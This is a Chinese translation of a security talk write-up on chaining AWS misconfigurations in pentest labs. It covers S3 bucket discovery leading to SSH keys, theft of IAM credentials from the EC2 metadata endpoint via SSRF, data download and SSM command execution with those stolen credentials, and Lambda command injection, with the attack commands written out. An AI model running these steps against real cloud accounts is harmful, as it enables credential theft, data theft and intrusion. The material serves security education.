原文链接:https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed
来自关于在AWS EC2实例中使用错误配置、公开允许的IAM策略和应用程序安全漏洞getshell并超越攻击面的演讲幻灯片 —来自2019年8月旧金山湾区的OWASP会上演讲。
请注意:AWS发布了针对本博客文章中提到的攻击的额外安全防御措施。虽然这里描述的方法将用于实例元数据服务(Instance metadata Data Service, IMDSv1)的遗留版本,但它们将被IMDSv2所阻碍。请阅读我们关于如何利用AWS EC2 IMDSv2并为您的EC2机器添加额外防御的博文。
本次演讲的所有幻灯片,可以在此处查看。
概要
该演讲主要涵盖了三个场景,它们是使用渗透测试练习的真实环境案例来搭建的,即可用于练习shell访问和访问EC2实例之外的数据的环境。
- 案例 1:系统 shell 的存储桶配置错误
- 案例 2:SSRF 通过 IAM 策略到 Shell
- 案例 3:客户端密钥、IAM 策略和易受攻击的 Lambda
接下来一起进入正题吧!
案例 1:系统 shell 的存储桶配置错误
这个场景涵盖了一个案例,我们能够使用 DNS 信息(我们在渗透测试练习中积极寻找的信息)来识别一个组织的 S3 存储桶的命名规律。我们使用此信息来发现其他存储桶,其中一个包含多个 SSH 密钥。
我们首先查看目标应用程序——http://www.galaxybutter。
首先我们查询了域名服务器galaxybutter.co,然后在发现的域名服务器中查询了域的 CNAME 和 TXT 记录。
dig NS galaxybutter.co
dig CNAME @ns-296.awsdns-37.com www.galaxybutter.co
dig TXT @ns-296.awsdns-37.com galaxybutter.co
对于在 TXT 记录中发现的 IP 地址,我们扫描了端口来寻找暴露在 Internet上的/我们的 IP 地址的可见服务。
该 -g80 命令是将源端口设置为 TCP 端口 80,假设流量是对从防火墙后面发送的 Web 请求的响应的,理论上 nmap 是允许访问得到无状态防火墙后面的端口。
我们保存了结果以便稍后查看。
下一步是确定是否有任何其他存储桶遵循与 CNAME 相同的命名约定,www.galaxybutter.co。我们根据命名规律创建了一个自定义字典,并使用 DigiNinja 的bucket_finder工具针对 AWS 运行该字典。
在一个公开的存储桶中,我们发现了一个zip 文件名为 sales-marketing-app.zip,其中包含多个 SSH 私钥。
我们尝试使用常见的 AWS linux 用户名(ubuntu、ec2-user、root 等)登录迄今为止发现的多个 IP 地址,并发现能够成功登录其中一台服务器。
ssh -i sales-marketing-app.pem ubuntu@54.211.12.132
SSH 连接到服务器后,我们浏览了文件系统,并在配置文件中找到了 RDS 数据库服务器的其他机密。
我们无法从 Internet 访问该数据库,但可以从 EC2 实例访问该数据库。所以我们连接到它并从内部下载表的前 5 行,得到了用户名和密码哈希值!
很显然,让我们能够从配置较弱的 S3 存储桶访问 AWS RDS,其命名规律是使用 DNS 枚举获得的。
案例 2:SSRF 通过 IAM 策略到 Shell
这种场景与最近的 CapitalOne 非常相似。我们写了一篇博文相似。
我们首先发现了一个带有登录页面并提供用户注册功能的应用程序。登录后,应用程序允许用户输入 URL,然后服务器将代表用户发出 Web 请求。这是一个经典的 SSRF!
利用 SSRF,我们先查询服务元数据http://169.254.169.254 并获取有关实例的信息。
我们可以使用 URL 访问附加到 EC2 实例的角色的临时令牌
http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2serverhealthrole
我们使用以下命令将凭据添加到本地 AWS CLI
aws configure --profile stolencreds
由于这些是临时标记,因此还需要将一个名为aws_session_token的变量添加到~/.aws/credentials文件中。此变量也可以添加为 AWS CLI 的环境变量以使用新凭据。
想要快速检查凭据是否被正确设置,可以使用以下命令,该命令就像Linux/Windows 的whoami命令
aws sts get-caller-identity --profile stolencreds
然后使用新添加的凭据枚举 S3 存储桶并使用以下命令从其中下载数据
aws s3 ls --profile stolencreds
aws s3 ls s3://data.serverhealth-corporation --profile stolencreds
aws s3 sync s3://data.serverhealth-corporation --profile stolencreds
由于凭证赋予特权,我们随后使用AWS SSM服务在环境中一个正在运行的EC2实例上获得了命令执行功能
我们列举了使用该命令运行AWS SSM服务的实例
aws ssm describe-instance-information —profile stolencreds
然后使用上面instanceid的describe-instance-information命令,我们运行send-commandandlist-command-invocations来ifconfig分别执行和读取输出。
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command. CommandId" --profile stolencreds
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
很显然,一个容易受到服务器端请求伪造攻击的应用程序允许访问附加到 EC2 实例的 IAM 角色的临时凭证。该角色拥有较高的权限,使我们能够访问目标组织的整个 AWS 账户,并使用 AWS SSM 服务访问 EC2 实例。
案例 3:客户端密钥、IAM 策略和易受攻击的 Lambda
允许用户将文件上传到 S3 存储桶的 Web 应用程序在客户端 JavaScript 中使用特权 IAM 密钥。可以使用这些来查询 AWS 内部的各种服务。我们在 AWS 账户中发现了多个 Lambda 函数。下载并分析其中一个 Lambda 函数导致发现了一个代码注入漏洞,该漏洞使我们能够访问 Lambda 运行时环境。
我们还列举了在此环境中运行的 EC2 实例,并使用AWS提供的新的EC2 Instance connect for SSH 访问功能访问其中一个实例。
我们首先查看了客户端的 Web 应用程序,并找到了上传文件的功能点。
该站点本身是静态的(托管在 S3 上),但它正在执行动态操作(上传到 S3)。我们发现了 JavaScript,因为它是这里唯一的动态组件,并在客户端 JS 中发现了 AWS 密钥。
我们将这些密钥添加到我们的 AWS CLI 并运行来自 NCC Group的Scoutsuite工具。该工具在 Github 上可用 — https://github.com/nccgroup/ScoutSuite
scout --profile uploadcreds
下图返回了 AWS 环境的完整图片。我们发现该账户有多个 Lambda 函数运行,AWS API Gateway 添加为触发器。此类端点好像接受 用户输入 并 返回作为用户输入传递的字符串MD5 的 总和。
我们使用以下命令下载了 Lambda 函数的代码
aws lambda list-functions — profile uploadcreds
aws lambda get-function --function-name lambda-name-here-from-previous-query --query 'Code.Location' --profile uploadcreds
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
下载的 zip 包含 Lambda 函数的代码。
经审计,发现代码存在命令注入漏洞
最后,为了在其中一个实例上获得一个 shell以显示影响,我们使用了 AWS EC2 的一项相对较新的功能,称为:EC2 instance-connect short SSH access(EC2 实例连接短期 SSH 访问)
您可以在此处阅读有关此功能的更多信息 — https://aws.amazon.com/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/
结尾
演讲的一些总结也与大家分享
- 正如我们开始所说那样,现在很明显,最常见的问题是服务的错误配置、不安全的编程和不应该授予的权限
- 侦察和 OSINT 是许多云服务和应用程序的关键
- 在攻击应用程序和服务器时,识别关键 DNS、whois、IP 历史记录和子域信息非常重要
- 后期利用对云没有限制。您可以攻击其他服务、中断日志记录、更改代码以攻击用户——范围取决于您的想象力(以及与您的客户的协议)
- 安全人员在 GitHub 上编写了大量工具,并且在攻击和利用领域正在大量使用
- 学习攻击的关键是设置>突破>学习>重复